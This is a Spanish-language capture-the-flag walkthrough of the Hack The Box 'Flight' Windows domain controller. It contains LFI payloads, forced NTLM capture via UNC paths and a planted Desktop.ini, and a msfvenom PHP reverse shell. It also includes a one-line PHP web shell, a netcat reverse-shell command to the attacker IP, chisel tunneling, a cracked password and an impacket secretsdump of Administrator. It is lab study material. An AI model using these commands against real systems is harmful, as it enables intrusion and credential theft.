Home

Published

- 8 min read

Flight

img of Flight

Ping

   ping -c 1 10.10.11.187
PING 10.10.11.187 (10.10.11.187) 56(84) bytes of data.
64 bytes from 10.10.11.187: icmp_seq=1 ttl=127 time=155 ms

--- 10.10.11.187 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 155.284/155.284/155.284/0.000 ms

TTL = 127 Windows

nmap

   Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 11:22 EDT
Nmap scan report for 10.10.11.187
Host is up (0.16s latency).
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-10 22:22:50Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-08-10T22:23:44
|_  start_date: N/A
|_clock-skew: 6h59m58s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.63 seconds

Enumeración del puerto 80 (HTTP)

por el momento no tenemos nada interesante en la pagina web así que seguiremos enumerando. alt text>

Fuzzing con wfuzz

haciendo una enumeración de subdominios logramos encontrar uno llamado school alt text>

school parece que en la pagina web de school tampoco obtenemos nada interesante. alt text>

Enumeración del puerto 53 (DNS)

en esta enumeración nos aseguramos que no existe otro nombre de dominio y también obtenemos la dirección ip V6 alt text>

dirsearch

usando dirsearh encontramos un index.php el cual esta haciendo referencia a una variable $DATA esto nos da una pista así que vamos a intentar un LFI alt text>

LFI al realizar un LFI nos reporta que esta actividad es sospechosa y que por ende a sido bloqueada. esto es una buena señal ya que si podemos identificar como se esta realizando este bloqueo podemos intentar bypasearlo alt text>

LFI probamos con las rutas absolutas y funciono. parece que esta bloqueando el parámetro ../ alt text>

Fuzzing con wfuzz

con estos parámetros vamos a realizar un fuzzing con una lista de palabras especificas para Windows.

   ❯ wfuzz -f ./fuzz-output.csv,csv -c -w file_inclusion_windows.txt --hw 89,95 "http://school.flight.htb/index.php?view=FUZZ"

alt text>

responder

vamos a iniciar el responder para posteriormente hacer una petición e intentar envenenar el trafico y poder capturar un hash NTLMv2 alt text>

hash NTLMv2 ahora solo vamos a forzar la autenticación contra los recursos compartidos de nuestra maquina atacante navegando a esta dirección http://school.flight.htb/index.php?view=//10.10.14.8/share de esta manera la maquina se autentica contra nosotros y podemos capturar el hash NTLMv2 alt text>

hashcat

alt text>

PASS después de esperar un rato vemos que hashcat ha podido identificar la contraseña del usuario svc_apache alt text>

Validación de credenciales

podemos validar las credenciales que hemos conseguido y parecen ser validas para enumerar los recursos smb pero no podemos conectarnos por evil-winrm esto es normal ya que las cuentas de servicios como en este caso no cuentan con esta opción alt text>

crackmapexec

hacemos una enumeración para obtener usuarios potenciales del sistema. alt text>

crackmapexec

hacemos una validación con la contraseña y la lista de usuarios que hemos conseguido y obtenemos una coincidencia para el usuario S.Moon alt text>

crackmapexec

con este usuario tenemos permisos de lectura y de escritura en el recurso Shared lo cual nos permite realizar un nuevo ataque e intentar capturar otro hash NTLMv2 alt text>

Responder

en este caso ya que tenemos permisos de escritura en este recurso podemos vamos a crear un archivo que intente llamar el recurso en nuestra maquina para ver si algún otro usuario intenta acceder a este recurso y así poder obtener un segundo hash NTMLv2

primero vamos a crear el archivo Desktop.ini

   [Shell]
Command=2
IconFile=\\10.10.14.8\share\hello.ico
[Taskbar]
Command=ToggleDesktop

ahora vamos a estar a la escucha con el responder y vamos a subir el archivo Desktop.ini a los recursos compartidos y esperamos que algún usuario intente conectarse alt text>

crackmapexec

aplicamos los mismos pasos con la herramienta hashcat para descifrar el nuevo hash NTLMv2 y de esta manera obtener las credenciales del usuario c.bum. en este momento con el usuario c.bum podemos leer y escribir en el recurso compartido Web por lo que nos vamos a aprovechar de esto. alt text>

smbclient

una ves dentro de los recursos compartidos de c.bum podemos navegar hasta el directorio Web y dentro tenemos el directorio school.flig.htb en el cual podemos ver los diferentes archivos. alt text>

Reverse shell

en este punto vamos a crear una reverse shell usando msfvenom para subirla a este recurso compartido y luego llamarla desde la web para poder obtener una conexión

   msfvenom -p php/reverse_php LHOST=10.10.14.8 LPORT=9001 -f raw > rawr.php

después de crear la reverse shell la subimos al recurso compartido y ya solo debemos llamarlo desde la web o incluso haciendo un curl a la dirección http://school.flight.htb/rawr.php

#Nota debido a que esta shell no es totalmente interactiva y se pierde la conexión nada cierto tiempo vamos a realizar otro enfoque alt text>

shell

primero que nada vamos a crear un archivo PHP que nos permita tener ejecución de comandos a través de CMD

   <?php
	system($_GET['cmd']);
?>

luego vamos a cargar este archivo al recurso compartido de la misma manera que hicimos antes. esto nos permite ejecutar comandos a través de la URL. alt text>

ahora vamos a localizar el binario de netcat para poder subirlo a la maquina

   ❯ locate netcat.exe

/home/gleoq/Desktop/Hack-The-Box/Advanced-Labs/Context/netcat.exe # esta es la ruta del archivo

❯ cp /home/gleoq/Desktop/Hack-The-Box/Advanced-Labs/Context/netcat.exe .

ahora que ya tenemos el binario en nuestra ubicación de trabajo vamos a subirlo al recurso compartido de la misma manera que hemos hecho con los otros archivos.

   put shell.php

put netcat.exe

ahora solo debemos cargar los dos archivos y luego podemos ejecutarlo desde la web con el siguiente comando http://school.flight.htb/shell.php?cmd=netcat.exe -e powershell.exe 10.10.14.8 9001 alt text>

Escalada De privilegios

una ves dentro de la maquina podemos ver el directorio inetpub La carpeta Inetpub, hace referencia a los servicios que permiten hacer configuraciones de tipo servidor en el sistema. lo cual me hace pensar que esta corriendo algún servicio tipo web internamente en la maquina alt text>

8000 también podemos ver el puerto 8000 que esta en escucha lo cual me parece raro ya que este puerto no estaba en mi escaneo de nmap

Dado que el firewall cierra el puerto 8000, no podemos acceder a este sitio externamente. Necesitaremos reenviar el puerto 8000 a nuestra máquina local a través de un túnel inverso. alt text>

User Pivoting

primero que nada vamos a cambiarnos de usuario ya que actualmente somos el usuario svc_apache pero recordemos que tenemos las credenciales del usuario c.bum para ello lo primero que debemos hacer es descargar el binario Runas.exe y subirlo a la maquina. una vez ua tengamos este binario solo debemos ejecutarlo usando el siguiente comando:

   .\runas.exe c.bum Tikkycoll_431012284 powershell.exe -r 10.10.14.8:9009

de esta manera obtenemos una shell como el usuario c.bum alt text>

Port Forwarding

ahora que somos el usuario c.bum solo debemos realizar un PortForwarding para poder tener acceso al puerto 8000 que esta de manera interna en la maquina. para ello primero vamos a realizar un túnel inverso con chisel

   ./chisel server -p 9005 --reverse

alt text

Tunneling luego en la maquina victima debemos ejecutar el siguiente comando para enviar la conexión del puerto 8000 a nuestra maquina. esta conexión viajara por el túnel que hemos creado

   PS C:\tmp> .\chisel.exe client 10.10.14.8:9005 R:8000:127.0.0.1:8000

alt text>

Enumeración del puerto 8000 (PortForwarding)

en la web no vemos nada interesante sin embargo podemos investigar el directorio donde se esta ejecutando alt text>

PortForwarding ahora que ya tenemos la conexión y podemos ver la web en nuestra maquina local podemos hacer varias pruebas. lo primero que se me ocurre es crear un archivo HTML que nos permita establecer una reverse shell desde esta web para saber si se esta recibiendo como administrator alt text>

shell.aspx en este pinto he utilizado una reverse shell con formato aspx shell.aspx y luego simplemente la hemos ejecutado desde el navegador llamando la ruta http://127.0.0.1:8000/shell.aspx y efectivamente obtenemos otro usuario pero no es el usuario administrador alt text>

whoami /all enumerando este usuario podemos ver que cuenta con el permiso de SeImpersonatePrivilege - Impersonate a client after authentication Enabled alt text>

Rubeus Ahora que tenemos un ticket válido para la cuenta de la máquina, necesitamos convertirlo del formato base64 - kirbi a ccache para usarlo con impacket.

   cat ticket.b64 | base64 -d > ticket.kirbi

kirbi2ccache ticket.kirbi ticket.ccache

sudo ntpdate -u flight.htb

KRB5CCNAME=ticket.ccache 

impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user Administrator -target-ip 10.129.42.88

alt text>

impacket-secretsdump una ves hemos dumpeado las credenciales de administrador podemos establecer una conexión usando impacket-psexec ya que el usuario administrador no tiene permisos en el grupo REMOTE MANAGEMENT USER alt text>

WE ARE ROOT